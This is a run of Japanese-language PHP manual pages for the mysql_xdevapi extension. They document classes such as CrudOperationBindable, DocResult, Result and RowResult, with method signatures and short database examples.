はじめに

クラス概要

mysql_xdevapi\CrudOperationBindable {
/* メソッド */
abstract public bind ( array $placeholder_values ) : mysql_xdevapi\CrudOperationBindable
}

目次

  • CrudOperationBindable::bind — プレースホルダーに値をバインドする

User Contributed Notes

There are no user contributed notes for this page.


プレースホルダーに値をバインドする

  • ≪ mysql_xdevapi\CrudOperationBindable
  • mysql_xdevapi\CrudOperationLimitable ≫
  • PHP Manual
  • mysql_xdevapi\CrudOperationBindable
  • プレースホルダーに値をバインドする

CrudOperationBindable::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CrudOperationBindable::bind — プレースホルダーに値をバインドする

説明

abstract public mysql_xdevapi\CrudOperationBindable::bind ( array $placeholder_values ) : mysql_xdevapi\CrudOperationBindable

特定のプレースホルダーに値をバインドします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

placeholder_values

プレースホルダーの名前と、バインドする値

返り値

CrudOperationBindable オブジェクトを返します。

例

例1 mysql_xdevapi\CrudOperationBindable::bind() の例

<?php

$res = $coll->modify('name like :name')->arrayInsert('job[0]', 'Calciatore')->bind(['name' => 'ENTITY'])->execute();
$res = $table->delete()->orderby('age desc')->where('age < 20 and age > 12 and name != :name')->bind(['name' => 'Tierney'])->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationLimitable インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CrudOperationLimitable {
/* メソッド */
abstract public limit ( int $rows ) : mysql_xdevapi\CrudOperationLimitable
}

目次

  • CrudOperationLimitable::limit — 結果を限定する

User Contributed Notes

There are no user contributed notes for this page.


結果を限定する

  • ≪ mysql_xdevapi\CrudOperationLimitable
  • mysql_xdevapi\CrudOperationSkippable ≫
  • PHP Manual
  • mysql_xdevapi\CrudOperationLimitable
  • 結果を限定する

CrudOperationLimitable::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CrudOperationLimitable::limit — 結果を限定する

説明

abstract public mysql_xdevapi\CrudOperationLimitable::limit ( int $rows ) : mysql_xdevapi\CrudOperationLimitable

返されるドキュメントまたはレコードの最大数を設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

rows

レコードまたはドキュメントの最大数

返り値

CrudOperationLimitable オブジェクトを返します。

例

例1 mysql_xdevapi\CrudOperationLimitable::limit() の例

<?php

$res = $coll->find()->fields(['name as n','age as a','job as j'])->groupBy('j')->limit(11)->execute();
$res = $table->update()->set('age',69)->where('age > 15 and age < 22')->limit(4)->orderby(['age asc','name desc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationSkippable インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CrudOperationSkippable {
/* メソッド */
abstract public skip ( int $skip ) : mysql_xdevapi\CrudOperationSkippable
}

目次

  • CrudOperationSkippable::skip — スキップする操作の数

User Contributed Notes

There are no user contributed notes for this page.


スキップする操作の数

  • ≪ mysql_xdevapi\CrudOperationSkippable
  • mysql_xdevapi\CrudOperationSortable ≫
  • PHP Manual
  • mysql_xdevapi\CrudOperationSkippable
  • スキップする操作の数

CrudOperationSkippable::skip

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CrudOperationSkippable::skip — スキップする操作の数

説明

abstract public mysql_xdevapi\CrudOperationSkippable::skip ( int $skip ) : mysql_xdevapi\CrudOperationSkippable

結果を返す操作で、ここで指定するレコードの数をスキップします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

skip

スキップする要素数

返り値

CrudOperationSkippable オブジェクトを返します。

例

例1 mysql_xdevapi\CrudOperationSkippable::skip() の例

<?php

$res = $coll->find('job like \'Programmatore\'')->limit(1)->skip(3)->sort('age asc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationSortable インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CrudOperationSortable {
/* メソッド */
abstract public sort ( string $sort_expr ) : mysql_xdevapi\CrudOperationSortable
}

目次

  • CrudOperationSortable::sort — 結果をソートする

User Contributed Notes

There are no user contributed notes for this page.


結果をソートする

  • ≪ mysql_xdevapi\CrudOperationSortable
  • mysql_xdevapi\DatabaseObject ≫
  • PHP Manual
  • mysql_xdevapi\CrudOperationSortable
  • 結果をソートする

CrudOperationSortable::sort

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CrudOperationSortable::sort — 結果をソートする

説明

abstract public mysql_xdevapi\CrudOperationSortable::sort ( string $sort_expr ) : mysql_xdevapi\CrudOperationSortable

結果セットを sort_expr 引数で指定されたフィールドでソートします。 可能なソート順は ASC (昇順) か DESC (降順) です。 この操作は、SQL における 'ORDER BY' と同等で、それと同じルールセットに従います。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

sort_expr

ひとつまたはそれ以上のソートを行う指揮を指定できます。 評価は左から右へと行われ、それぞれの四季はコンマで区切ります。

返り値

CrudOperationSortable オブジェクトを返します。

例

例1 mysql_xdevapi\CrudOperationSortable::sort() の例

<?php

$res = $coll->find('job like \'Cavia\'')->sort('age desc', '_id desc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


DatabaseObject インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\DatabaseObject {
/* メソッド */
abstract public existsInDatabase ( ) : bool
abstract public getName ( ) : string
abstract public getSession ( ) : mysql_xdevapi\Session
}

目次

  • DatabaseObject::existsInDatabase — オブジェクトがデータベースに存在するかをチェックする
  • DatabaseObject::getName — オブジェクトの名前を取得する
  • DatabaseObject::getSession — セッションの名前を取得する

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトがデータベースに存在するかをチェックする

  • ≪ mysql_xdevapi\DatabaseObject
  • DatabaseObject::getName ≫
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • オブジェクトがデータベースに存在するかをチェックする

DatabaseObject::existsInDatabase

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DatabaseObject::existsInDatabase — オブジェクトがデータベースに存在するかをチェックする

説明

abstract public mysql_xdevapi\DatabaseObject::existsInDatabase ( ) : bool

データベースオブジェクトが、データベース内に存在するオブジェクトを参照しているかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトがデータベースに存在していれば true を返します。 そうでなければ、false を返します。

例

例1 mysql_xdevapi\DatabaseObject::existsInDatabase() の例

<?php

$existInDb = $dbObj->existsInDatabase();

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの名前を取得する

  • ≪ DatabaseObject::existsInDatabase
  • DatabaseObject::getSession ≫
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • オブジェクトの名前を取得する

DatabaseObject::getName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DatabaseObject::getName — オブジェクトの名前を取得する

説明

abstract public mysql_xdevapi\DatabaseObject::getName ( ) : string

このデータベースオブジェクトの名前を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

データベースオブジェクトの名前を返します。

例

例1 mysql_xdevapi\DatabaseObject::getName() の例

<?php

$dbObjName = $dbObj->getName();

?>

User Contributed Notes

There are no user contributed notes for this page.


セッションの名前を取得する

  • ≪ DatabaseObject::getName
  • mysql_xdevapi\DocResult ≫
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • セッションの名前を取得する

DatabaseObject::getSession

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DatabaseObject::getSession — セッションの名前を取得する

説明

abstract public mysql_xdevapi\DatabaseObject::getSession ( ) : mysql_xdevapi\Session

データベースオブジェクトに紐付いたセッションを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Session オブジェクトを返します。

例

例1 mysql_xdevapi\DatabaseObject::getSession() の例

<?php

$session = $dbObj->getSession();

?>

User Contributed Notes

There are no user contributed notes for this page.


DocResult クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\DocResult implements mysql_xdevapi\BaseResult , Traversable {
/* メソッド */
public fetchAll ( ) : array
public fetchOne ( ) : array
public getWarnings ( ) : Array
public getWarningsCount ( ) : int
}

目次

  • DocResult::__construct — DocResult のコンストラクタ
  • DocResult::fetchAll — 全ての行を取得する
  • DocResult::fetchOne — 一行取得する
  • DocResult::getWarnings — 直近の操作から発生した警告を取得する
  • DocResult::getWarningsCount — 直近の操作で発生した警告の数を取得する

User Contributed Notes

There are no user contributed notes for this page.


DocResult のコンストラクタ

  • ≪ mysql_xdevapi\DocResult
  • DocResult::fetchAll ≫
  • PHP Manual
  • mysql_xdevapi\DocResult
  • DocResult のコンストラクタ

DocResult::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DocResult::__construct — DocResult のコンストラクタ

説明

private mysql_xdevapi\DocResult::__construct ( )

ドキュメントの結果と警告を取得します。 CollectionFind クラスによってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 DocResult の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->limit(1)
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


全ての行を取得する

  • ≪ DocResult::__construct
  • DocResult::fetchOne ≫
  • PHP Manual
  • mysql_xdevapi\DocResult
  • 全ての行を取得する

DocResult::fetchAll

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DocResult::fetchAll — 全ての行を取得する

説明

public mysql_xdevapi\DocResult::fetchAll ( ) : array

結果セットから全ての行を取得する

パラメータ

この関数にはパラメータはありません。

返り値

クエリからの結果全てを含む、数値をキーとする配列。 それぞれの結果は連想配列です。 行が存在しない場合は、空の配列が返されます。

例

例1 mysql_xdevapi\DocResult::fetchAll() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {

  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000123"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }

  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000122"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }

}

User Contributed Notes

There are no user contributed notes for this page.


一行取得する

  • ≪ DocResult::fetchAll
  • DocResult::getWarnings ≫
  • PHP Manual
  • mysql_xdevapi\DocResult
  • 一行取得する

DocResult::fetchOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DocResult::fetchOne — 一行取得する

説明

public mysql_xdevapi\DocResult::fetchOne ( ) : array

結果セットから一行だけ取得します。

パラメータ

この関数にはパラメータはありません。

返り値

一行を表一行を表す連想配列。 結果がなければ null となります。

例

例1 mysql_xdevapi\DocResult::fetchOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->execute();

var_dump($result->fetchOne());
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000125"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から発生した警告を取得する

  • ≪ DocResult::fetchOne
  • DocResult::getWarningsCount ≫
  • PHP Manual
  • mysql_xdevapi\DocResult
  • 直近の操作から発生した警告を取得する

DocResult::getWarnings

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DocResult::getWarnings — 直近の操作から発生した警告を取得する

説明

public mysql_xdevapi\DocResult::getWarnings ( ) : Array

MySQL サーバに対する直近の操作から発生した警告を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から発生した警告オブジェクトの配列。 個々のオブジェクトはエラーの 'message' と 'level' と 'code' を定義しています。 エラーが発生していない場合は、空の配列が返されます。

例

例1 mysql_xdevapi\DocResult::getWarnings() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// DocResult オブジェクトを生成
$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->execute();

if (!$result->getWarningsCount()) {
    echo "There was an error:\n";
    print_r($result->getWarnings());
    exit;
}

var_dump($result->fetchOne());
?>

上の例の出力は、 たとえば以下のようになります。

There was an error:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


直近の操作で発生した警告の数を取得する

  • ≪ DocResult::getWarnings
  • mysql_xdevapi\Exception ≫
  • PHP Manual
  • mysql_xdevapi\DocResult
  • 直近の操作で発生した警告の数を取得する

DocResult::getWarningsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

DocResult::getWarningsCount — 直近の操作で発生した警告の数を取得する

説明

public mysql_xdevapi\DocResult::getWarningsCount ( ) : int

直近の操作によって発生した警告の数を返します。 具体的には、これらの警告は MySQL サーバが発生させたものです。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作によって発生した警告の数を返します。

例

例1 mysql_xdevapi\DocResult::getWarningsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->execute();

if (!$result->getWarningsCount()) {
    echo "There was an error:\n";
    print_r($result->getWarnings());
    exit;
}

var_dump($result->fetchOne());
?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000135"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


Exception クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Exception extends RuntimeException implements Throwable {
}

User Contributed Notes

There are no user contributed notes for this page.


Executable インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Executable {
/* メソッド */
abstract public execute ( ) : mysql_xdevapi\Result
}

目次

  • Executable::execute — ステートメントを実行する

User Contributed Notes

There are no user contributed notes for this page.


ステートメントを実行する

  • ≪ mysql_xdevapi\Executable
  • mysql_xdevapi\ExecutionStatus ≫
  • PHP Manual
  • mysql_xdevapi\Executable
  • ステートメントを実行する

Executable::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Executable::execute — ステートメントを実行する

説明

abstract public mysql_xdevapi\Executable::execute ( ) : mysql_xdevapi\Result

コレクションへの操作、またはテーブルへのクエリから、ステートメントを実行します。 この機能によるメソッドのチェインが可能です。

パラメータ

この関数にはパラメータはありません。

返り値

Result または SqlStatementResult のような Result オブジェクトを返します。

例

例1 execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$result_sql = $session->sql("CREATE DATABASE addressbook")->execute();

var_dump($result_sql);

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("humans");

$result_collection = $collection->add(
  '{"name": "Jane",
    "jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
    "hobbies": ["Walking","Making pies"]}');

$result_collection_executed = $result_collection->execute();

var_dump($result_collection);
var_dump($result_collection_executed);
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\SqlStatementResult)#3 (0) {
}

object(mysql_xdevapi\CollectionAdd)#5 (0) {
}

object(mysql_xdevapi\Result)#7 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


ExecutionStatus クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\ExecutionStatus {
/* プロパティ */
public $affectedItems ;
public $matchedItems ;
public $foundItems ;
public $lastInsertId ;
public $lastDocumentId ;
/* Constructor */
private __construct ( )
}

プロパティ

affectedItems

matchedItems

foundItems

lastInsertId

lastDocumentId

目次

  • ExecutionStatus::__construct — ExecutionStatus のコンストラクタ

User Contributed Notes

There are no user contributed notes for this page.


ExecutionStatus のコンストラクタ

  • ≪ mysql_xdevapi\ExecutionStatus
  • mysql_xdevapi\Expression ≫
  • PHP Manual
  • mysql_xdevapi\ExecutionStatus
  • ExecutionStatus のコンストラクタ

ExecutionStatus::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ExecutionStatus::__construct — ExecutionStatus のコンストラクタ

説明

private mysql_xdevapi\ExecutionStatus::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\ExecutionStatus::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Expression クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Expression {
/* プロパティ */
public $name ;
/* Constructor */
public __construct ( string $expression )
}

プロパティ

name

目次

  • Expression::__construct — Expression のコンストラクタ

User Contributed Notes

There are no user contributed notes for this page.


Expression のコンストラクタ

  • ≪ mysql_xdevapi\Expression
  • mysql_xdevapi\Result ≫
  • PHP Manual
  • mysql_xdevapi\Expression
  • Expression のコンストラクタ

Expression::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Expression::__construct — Expression のコンストラクタ

説明

public mysql_xdevapi\Expression::__construct ( string $expression )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

expression

例

例1 mysql_xdevapi\Expression::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Result クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Result implements mysql_xdevapi\BaseResult , Traversable {
/* メソッド */
public getAffectedItemsCount ( ) : int
public getAutoIncrementValue ( ) : int
public getGeneratedIds ( ) : array
public getWarnings ( ) : array
public getWarningsCount ( ) : int
}

目次

  • Result::__construct — Result のコンストラクタ
  • Result::getAffectedItemsCount — 影響を受けた行数を得る
  • Result::getAutoIncrementValue — 自動インクリメントされた値を取得する
  • Result::getGeneratedIds — 生成された id を取得する
  • Result::getWarnings — 直近の操作から発生した警告を取得する
  • Result::getWarningsCount — 直近の操作から生じた警告の数を取得する

User Contributed Notes

There are no user contributed notes for this page.


Result のコンストラクタ

  • ≪ mysql_xdevapi\Result
  • Result::getAffectedItemsCount ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • Result のコンストラクタ

Result::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::__construct — Result のコンストラクタ

説明

private mysql_xdevapi\Result::__construct ( )

生成された ID や AUTO_INCREMENT の値、 警告を 結果セットから取得するためのオブジェクトです。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Result::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
  CREATE TABLE addressbook.names
    (id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
  ")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

上の例の出力は以下となります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


影響を受けた行数を得る

  • ≪ Result::__construct
  • Result::getAutoIncrementValue ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • 影響を受けた行数を得る

Result::getAffectedItemsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::getAffectedItemsCount — 影響を受けた行数を得る

説明

public mysql_xdevapi\Result::getAffectedItemsCount ( ) : int

直近の操作によって、影響を受けた行数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

影響を受けた行数(整数)を返します。

例

例1 mysql_xdevapi\Result::getAffectedItemsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

var_dump( $res->getAffectedItemsCount() );
?>

上の例の出力は以下となります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


自動インクリメントされた値を取得する

  • ≪ Result::getAffectedItemsCount
  • Result::getGeneratedIds ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • 自動インクリメントされた値を取得する

Result::getAutoIncrementValue

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::getAutoIncrementValue — 自動インクリメントされた値を取得する

説明

public mysql_xdevapi\Result::getAutoIncrementValue ( ) : int

最新の AUTO_INCREMENT の値 (最後に挿入されたid) を取得します

パラメータ

この関数にはパラメータはありません。

返り値

最新の AUTO_INCREMENT の値 を返します。

例

例1 mysql_xdevapi\Result::getAutoIncrementValue() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
  CREATE TABLE addressbook.names
    (id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
  ")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

上の例の出力は以下となります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


生成された id を取得する

  • ≪ Result::getAutoIncrementValue
  • Result::getWarnings ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • 生成された id を取得する

Result::getGeneratedIds

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::getGeneratedIds — 生成された id を取得する

説明

public mysql_xdevapi\Result::getGeneratedIds ( ) : array

直近の操作から生成された _id の値を取得します。 ユニークな _id フィールドは MySQL サーバによって生成されます。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作によって生成された _id の配列を返します。 生成された _id がない場合は、空の配列を返します。

例

例1 mysql_xdevapi\Result::getGeneratedIds() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add(
  '{"name": "Bernie",
    "jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
    "hobbies": ["Sports","Making cupcakes"]}',
  '{"name": "Jane",
    "jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
    "hobbies": ["Walking","Making pies"]}')->execute();

$ids = $result->getGeneratedIds();
var_dump($ids);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  [0]=>
  string(28) "00005b6b53610000000000000064"
  [1]=>
  string(28) "00005b6b53610000000000000065"
}

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から発生した警告を取得する

  • ≪ Result::getGeneratedIds
  • Result::getWarningsCount ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • 直近の操作から発生した警告を取得する

Result::getWarnings

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::getWarnings — 直近の操作から発生した警告を取得する

説明

public mysql_xdevapi\Result::getWarnings ( ) : array

直近の Result に対するの操作から発生した警告を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から発生した警告オブジェクトの配列。 個々のオブジェクトはエラーの 'message' と 'level' と 'code' を定義しています。 エラーが発生していない場合は、空の配列が返されます。

例

例1 mysql_xdevapi\RowResult::getWarnings() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から生じた警告の数を取得する

  • ≪ Result::getWarnings
  • mysql_xdevapi\RowResult ≫
  • PHP Manual
  • mysql_xdevapi\Result
  • 直近の操作から生じた警告の数を取得する

Result::getWarningsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Result::getWarningsCount — 直近の操作から生じた警告の数を取得する

説明

public mysql_xdevapi\Result::getWarningsCount ( ) : int

直近の操作から生じた警告の数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作から生じた警告の数を返します。

例

例1 mysql_xdevapi\RowResult::getWarningsCount() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table  = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

上の例の出力は、 たとえば以下のようになります。

2

User Contributed Notes

There are no user contributed notes for this page.


RowResult クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\RowResult implements mysql_xdevapi\BaseResult , Traversable {
/* メソッド */
public fetchAll ( ) : array
public fetchOne ( ) : array
public getColumnsCount ( ) : int
public getColumnNames ( ) : array
public getColumns ( ) : array
public getWarnings ( ) : array
public getWarningsCount ( ) : int
}

目次

  • RowResult::__construct — RowResult のコンストラクタ
  • RowResult::fetchAll — 結果セットから全ての行を取得する
  • RowResult::fetchOne — 結果セットから行を取得する
  • RowResult::getColumnsCount — カラムの数を取得する
  • RowResult::getColumnNames — 全てのカラム名を取得する
  • RowResult::getColumns — カラムのメタデータを取得する
  • RowResult::getWarnings — 直近の操作から生じた警告を取得する
  • RowResult::getWarningsCount — 直近の操作から生じた警告の数を取得する

User Contributed Notes

